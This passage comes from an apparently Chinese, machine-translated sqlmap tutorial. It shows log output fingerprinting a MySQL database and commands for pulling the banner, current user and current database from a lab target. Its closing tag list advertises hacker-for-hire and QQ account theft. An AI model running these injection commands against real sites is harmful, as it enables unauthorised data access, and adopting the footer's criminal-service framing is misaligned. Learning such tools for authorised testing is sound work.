[hh:mm:45] [INFO] retrieved: 44
[hh:mm:45] [INFO] performed 20 queries in 0 seconds
[hh:mm:45] [INFO] confirming MySQL
[hh:mm:45] [INFO] query: LENGTH(‘4’)
[hh:mm:45] [INFO] retrieved: 1
[hh:mm:45] [INFO] performed 13 queries in 0 seconds
[hh:mm:45] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:45] [INFO] retrieved: 4
[hh:mm:45] [INFO] performed 13 queries in 0 seconds
[hh:mm:45] [INFO] query: DATABASE()
[hh:mm:45] [INFO] retrieved: testdb
[hh:mm:45] [INFO] performed 48 queries in 0 seconds
[hh:mm:45] [INFO] query: SCHEMA()
[hh:mm:45] [INFO] retrieved: testdb
[hh:mm:46] [INFO] performed 48 queries in 0 seconds
[hh:mm:46] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
[hh:mm:46] [INFO] retrieved:
[hh:mm:46] [INFO] performed 6 queries in 0 seconds
[hh:mm:46] [INFO] query: VERSION()
[hh:mm:46] [INFO] retrieved: 5.0.38-Ubuntu_0ubuntu1.1-log
[hh:mm:47] [INFO] performed 202 queries in 0 seconds
[hh:mm:47] [INFO] executing MySQL comment injection fingerprint
[hh:mm:47] [INFO] executing passive fuzzing to retrieve DBMS error messages
remote DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1
comment injection fingerprint: MySQL 5.0.38
banner parsing fingerprint: MySQL 5.0.38, logging enabled
html error message fingerprint: MySQL
[…]

2.16 横幅
命令行选择: -b 或 –banner

大多数据库有一个作用或显示数据库managemet 系统版本细节的一个系统变量。通常这个作用是 version() 或系统变量叫 @@version。

$ python sqlmap.py -u “192.168.1.47/page.php?” -b

banner: ‘5.0.38-Ubuntu_0ubuntu1.1-log’

2.17 当前的用户
命令行选择: –current-user

它是可能列举有效地执行询问在数据库从网应用数据库管理系统用户的名字:

$ python sqlmap.py -u “192.168.1.47/page.php?” –current-user

current user:

2.18 当前的数据库
命令行选择: –current-db

它是可能列举网应用被连接对数据库的名字:

$ python sqlmap.py -u “192.168.1.47/page.php?” –current-db

current database: ‘testdb’

好了,教程到这里就结束了。可能比较细,大家多看看有什么不懂的可以去博客里面问就行,另外之前有介绍过的xss测试平台挺不错的,可以多学习了解漏洞的危害。谢谢观看。

赞(0)
分享到: 更多 (0)

黑客技术,黑客教程,黑客软件,黑客入门,黑客工具,黑客平台,黑客下单,渗透测试,CTF,菠菜,源码,暗网,安卓,物联网安全,网络安全周,国家安全,企业安全,盗QQ号,正规黑客,接单黑客,SRC测试,黑客修改,黑客交流,黑客追款,APP渗透,黑客系统

联系我们联系我们